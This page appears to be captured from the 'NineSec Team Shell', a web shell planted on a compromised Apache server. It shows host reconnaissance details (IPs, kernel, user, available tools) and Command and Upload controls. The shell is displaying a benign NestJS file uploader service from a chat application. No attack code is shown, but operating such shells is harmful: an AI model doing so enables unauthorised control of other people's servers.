NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/src/common/file_uploader/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/src/common/file_uploader/file_uploader.service.ts
/**
 * Copyright 2023, the hatemragab project author.
 * All rights reserved. Use of this source code is governed by a
 * MIT license that can be found in the LICENSE file.
 */

import { Injectable } from "@nestjs/common";
import path from "path";
import root from "app-root-path";
import fs from "fs";
import { S3UploaderTypes } from "../../core/utils/enums";
import { cropProfileImage } from "../../core/utils/sharp.utils";
import { fromBuffer } from "file-type";
import { v4 as uuidv4 } from "uuid";
import { CreateS3UploaderDto } from "./create-s3_uploader.dto";

@Injectable()
export class FileUploaderService {


  async putImageCropped(imageBuffer: Buffer, myId: string) {
    let key = `${S3UploaderTypes.profileImage}-${uuidv4()}.jpg`;
    let image = await cropProfileImage(imageBuffer);
    await this._putFile(image, key, myId, true);
    return key;
  }

  async uploadChatMedia(dto: CreateS3UploaderDto) {
    let contentType = await fromBuffer(dto.mediaBuffer);
    let key = `${dto.myUser._id}/${S3UploaderTypes.media}-${uuidv4()}.${contentType?.ext??""}`;
    await this._putFile(dto.mediaBuffer, key, dto.myUser._id);
    return key;
  }

  async _putFile(fileData: Buffer, key:string, userId: string, isPublic?: boolean) {
    let localPath = path.join(root.path, "public", isPublic ? "v-public" : "media", userId.toString());
    if (!fs.existsSync(localPath)) {
      fs.mkdirSync(localPath);
    }
    return await new Promise((resolve, reject) => {
      let localPath = path.join(root.path, "public", isPublic ? "v-public" : "media", key);
      fs.writeFile(localPath, fileData,  err => {
        if (err) {
          reject(err);
          console.log(err);
        }
        resolve(key);
      });
    });
  }
}

NineSec Team - 2022